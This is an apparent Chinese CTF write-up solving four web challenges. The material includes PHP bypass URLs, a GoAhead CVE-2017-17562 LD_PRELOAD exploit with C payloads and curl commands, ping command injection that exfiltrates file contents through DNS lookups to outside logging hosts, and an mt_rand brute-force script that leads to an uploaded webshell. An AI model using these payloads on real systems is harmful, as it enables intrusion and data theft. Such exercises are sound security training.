前言

渣渣一枚,萌新一个,划了安恒杯秋季选拔赛,题目扎心(Orz.jpg)

个人写的writrup大佬轻喷(QAQ)

一:奇怪的恐龙特性

这是我做的第一题,感觉还可以一道代码审计的题目,发现了一个我以前没见过的知识点,可以详细看看这个链接

https://bugs.shuimugan.com/bug/view?bug_no=64792

从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']里面类似的参数的时候,我们在url上可以这样a.php?user.id

传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']的值,同样可以绕过的符号还有+``.``[ 等,应该说是php的一个小特性,上面讲的很清楚了

<?php
    highlight_file(__FILE__);
    ini_set("display_error", false); 
    error_reporting(0); 
    $str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
    if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
    }
    elseif ($str<9999999999) {
    echo 'A_A,too small';
    }
    elseif ((string)$str>0) {
    echo 'A_A,too big';
    }
    else{
    echo file_get_contents('flag.php');

    }

     ?>

阅读代码发现,首先第一步要绕过A_A这个符号,如果出现这个符号他就会显示A_A,have fun,就不能继续往下面执行到file_get_contents('flag.php')了,

但是我们发送get参数的时候又必须要发送,因此我们就用到刚才的知识点,我们可以用A.A或者是A+A去传参去绕过。

下面的代码就是常规的数字绕过了,但这里也用到了一个trick,就是无论你的数字多大,对于数组而言总是比数组小,下面是操作

所以说,我们可以利用数组去绕过$str<9999999999的特性,下面一个判断是强制转化为字符串在与数字比较的判断,

这就是平常操作很多的弱类型了,直接让参数等于admin就可以了,因为“admin”== 0 ,结果是true,直接等于0绕过即可,所以这题的payload

http://114.55.36.69:8022/?A.A[]=admin

或者使用

http://114.55.36.69:8022/?A+A[]=admin

然后查看源代码就会得到:flag={09bc24026c987ae44a6e424479b2e3}

二:GOGOGO

这题拿到题目发现无法访问,扫了下端口,发现是8080端口开放

进去后可以看见Hello gogogo

感觉没什么用,抓了个包看看,发现是goahead

于是搜了一波,发现有CVE:

GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)

附上Freebuf的一篇文章http://www.freebuf.com/vuls/158089.html

漏洞利用也非常简单

payload.c

# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}

然后gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so

然后攻击

curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i

可以得到回显

HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-type: text/html

只要出现hello: World!就说明攻击成功了

那么下面构造我们的攻击payload

首先是找文件的绝对路径 使用c语言进行操作,c语言实现执行命令的脚本网上一搜一大堆,

最后发现是www目录下的goahead文件夹

然后读文件

#include "stdio.h"  
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi"; 
 FILE *fp; 
 char StrLine[1024];
 if((fp = fopen(filename,"r")) == NULL) 
 { 
 printf("error!"); 
 return -1; 
 } 

 while (!feof(fp)) 
 { 
 fgets(StrLine,1024,fp);  
 printf("%s\n", StrLine); 
 } 
 fclose(fp); 
}

即可拿到flag

curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD\=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sun Jan 21 04:31:28 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type:  text/html

Hello GOGOGO#!/usr/bin/perl



print "Content-Type: text/html\n\n";

print "Hello GOGOGO";

#flag{ef9f1f880e1f001bedd32bfc52674128}

#flag{ef9f1f880e1f001bedd32bfc52674128}

另一种操作

进去查看相应头Server: GoAhead-http,查找资料,这个cgi存在代码执行漏洞

网上的POC大多为反弹shell,这道题由于服务器配置问题无法实现,有题干知flag在cgi-bin/hello.cgi中,故只需要执行代码读取cgi文件即可

Linux中编写如下代码(我开始想复杂了,还想调用popen执行cat读取,只需要fread就可以了):

//poc.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void){  
    FILE* fp = fopen("cgi-bin/hello.cgi", "r");
    char buf[2048];
    fread(buf, sizeof(buf), 1, fp);
    write(1, buf, sizeof(buf));
}

执行指令编译动态库并发送payload

gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt

读取1.txt获得flag:flag{ef9f1f880e1f001bedd32bfc52674128}

三:ping

这是一个命令执行题。通过get传入ping参数,后台使用system(‘ping’, $_GET[‘ping’])来执行命令。不过在执行之前把'<‘和’>’给过滤了,

也就是说无法使用重定向来cat flag文件的值(就算不过滤我也不知道咋利用)。刚好前几天看到了关于dnslog在盲注中的利用,

就想,dnslog能不能在这里用到?试试吧。

先试试dnslog能不能用:

?ping=111.13.100.91(百度的ip) -c 1; ping `uname`.****.ceye.io(记录dns查询的平台域名)

打开dnslog平台,果然发现了一条记录:linux.****.ceye.io。嘻嘻。既然你那么直接,我也就跟你直接点啦!接招:

?ping=111.13.100.91 -c 1; ping  `cat where_is_flag.php`.****.ceye.io

按完回车,心想,flag那么容易就到手了?回到平台看一看,没有!又试了几遍,还是不行!仔细一想,

有可能被文件中的空格和换行符干扰到了,那就编码一下呗。便把payload换成cat where_is_flag.php | base64,回去看,

还是不行。。大招用完了,剩下的只好请教百度。果然找到了个好姿势:

for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;

换成自己的payload:

?ping=111.13.100.91 -c 1; for i in $(cat where_is_flag.php); do ping " $i.****.ceye.io"; done;

终于成功了,这个文件的内容是真正flag文件的相对路径,将payload稍微改一下就好了。

得到flag{sdfsdfvdfbdgsd}

另一种操作

进入后查看robots.txt,获得源码,以及where_is_flag.php

<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping  ".$ip);
?>

知需要使用ping读取文件where_is_flag.php,这里使用一个开源项目搭建的平台CEYE,原理是访问一个域名的下属子域名时,

dns解析会有记录。在linux中可以使用飘号包裹命令,如:ping 'echo 111'.xxx.com('代表飘号,Markdown中写不出来)。

或可以使用ping http://xxxxx/'whoami',解析主机的访问记录

但是这里由于换行符的干扰无法直接读取文件,故使用bash的循环:

ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;

得到$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php",同样的方法读取,

得到flag{sdfsdfvdfbdgsd}

四:ping也能把你ping挂

这题看到后再看前面题目名也是ping,感觉应该是类似的操作,所以估计这题也是命令执行了。

进入网页后看到一个输入框,输入ip地址,然后输入框下面会回显ping的结果。

尝试在ip地址后加上一些字符,来执行下一个命令。比如:

1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls

反正就是一顿乱揍,到最后的&终于成功回显了:

通过观察ls的回显,发现了一个upload文件夹和一个文件上传的php文件。进入you_find_upload.php页面,就是一个常规的文件上传页面。

上传之后也没啥回显,也不知道文件名。发现上面的导航栏多了个查看源码,点进去。

就会得到you_find_upload.php源码,源码如下(无关紧要的html代码我就不贴了,太长了):

<form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå­©å­ï¼too young too simple";
}
else{
   @include $_GET['p'].".php";
}
}
?>
</pre>
</form>

分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后,将文件命名成”随机数字+_+原文件名”。

这里发现,就算上传了图片马,你没有随机数啊!所以还是找不到文件的。

仔细看代码,发现三个关键点:

1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
再做一此随机运算,并将这个随机数作为文件名的一部分。

由此可见,如果第三步的随机数能搞到,那文件名就出来了。可是这个随机数怎么搞?只好求助一下百度,

发现mt_rand()生成的是伪随机数,也就是说,只要种子固定,那么每次的的mt_rand()都是固定的。举个例子:

<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数

?>

输出结果:

1244335972
15217923
1546885062

再刷新试试,就会发现,不管刷新多少次,生成的随机数都是固定的。因此生成的随机数只跟两个值有关,一个是种子的值,一个是计算的次数。

而种子在源代码中有,计算的次数我们也已经知道了(2次,因为第二个mt_rand()用于合成文件名)。所以,基本上文件名就出来了。看一下种子:

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

这个种子是跟时间相关的,可是你echo一下种子你就会发现,种子的值在0~10000之间(并不精确,仅仅是我根据echo大致猜测的)。

整理一下思路,我上面说,随机数只跟两个因素有关,一个是种子,一个是计算的次数。现在已经知道了,种子的值是0~10000,计算的次数是2。

所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本,进行爆破。这里有个小技巧,你可以将同一个文件上传多次,

这样爆破的时间会减少很多。上脚本(渣渣一个,脚本写的太渣了QAQ):

<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
}

function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}

这样基本就能爆破出我们的文件了,爆出来之后面临的问题就是解析了。众所周知,apache的解析漏洞只能使用apache不认识的后缀名,

而这题已经限制死了,必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜?),后来尝试1.php.jpg时,没想到竟然成功解析了!

解析成功后用菜刀连一下,发现flag在根目录下(第一次做上传的我,光找这个flag就找了十多分钟QAA)。

参考文章:

DNSlog攻击技巧:https://www.0dayhack.com/post-481.html

解析如何在C语言中调用shell命令的实现方法:https://www.jb51.net/article/37404.htm

源链接

Hacking more

...